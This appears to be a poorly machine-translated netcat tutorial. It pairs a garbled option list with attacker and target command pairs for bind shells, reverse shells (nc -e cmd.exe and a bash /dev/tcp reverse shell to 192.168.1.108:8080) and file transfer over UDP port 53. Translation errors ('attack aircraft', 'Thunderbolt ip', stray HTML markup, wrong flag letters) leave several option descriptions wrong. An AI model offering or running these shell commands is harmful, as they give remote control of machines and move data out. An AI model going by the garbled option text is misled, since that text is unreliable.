Connect to somewhere: Nc[-options] hostname port[s] [ports] ...

Listening on inbound: Nc-l-P Port [-options] [hostname] [port]

Options

- D Detached form console background mode

-C, --close close contact with EOF from standard input

- E,after the--exec =program program, the exec connection

-G, --gateway = List source route hop Point [S], up to 8

-G, --pointer =num Source route pointer: 4,8,12, ...

-H,--help Show help and Exit

for Wire sending -i,--interval =secs delay interval, port scan

-L,--listen monitor mode for inbound connections

-L,--tunnel= Address: Port forwarding local port remote address

-N, --dont, resolving a pure digital IP address, not DNS

-O, --output =file output Hexdump all communication to file (-X hint)

- p,--local Port =num Local port number

-R, --randomize random local and remote ports

-S, --source = Address local source address (IP or host name)

-T, --tcp TCP Mode (default)

-T, using telnet negotiation--telnet answer

-u,--udp UDP mode

-V,--verbose verbose (use two times, more details)

-V, --version output version information and exit

-X, --hexdump Hexdump Both incoming and outgoing traffic

-W, --wait = secs timeout connection and last read net

-Z, --zero 0 I/O mode (for scanning)

attack aircraft set up a server and other target delivery CMD

attack aircraft: Kali

Nc-l-P 3333

Target machine: XP

nc-d Thunderbolt ip-e-cmd.exe

Target machine set up server and other attack bombers go to the United

Target machine:

nc-d-l-p 3333-e Cmd.exe

Attackers:

NC Target Machine IP 3333

Netcat transfer files (first to set up the service side of the attack) UDP53 Port number is DNS

Target machine: Nc-u 192.168.1.105 < 123.txt

here 192.168.1.105 it's an attack.

Attackers:

Nc-u-l-p > 456.txt

And

target machine: nc -v-w 30-p 3333-l < 123.txt (-W 30 Span style= "Font-family:simsun;" lang= "ZH-CN" xml:lang= "ZH-CN" > seconds break, -l Enter monitoring)

Attack Machine: NC -v-w 3 192.168.1.108 3333 >456.txt (192.168.1.108 as Target)

Linux set up service delivery Shell Give Windows

attack aircraft: nc-l-n-vv-p 8080

Target machine:/bin/bash-i >/dev/tcp/192.168.1.108/8080 0<&1 2>&1
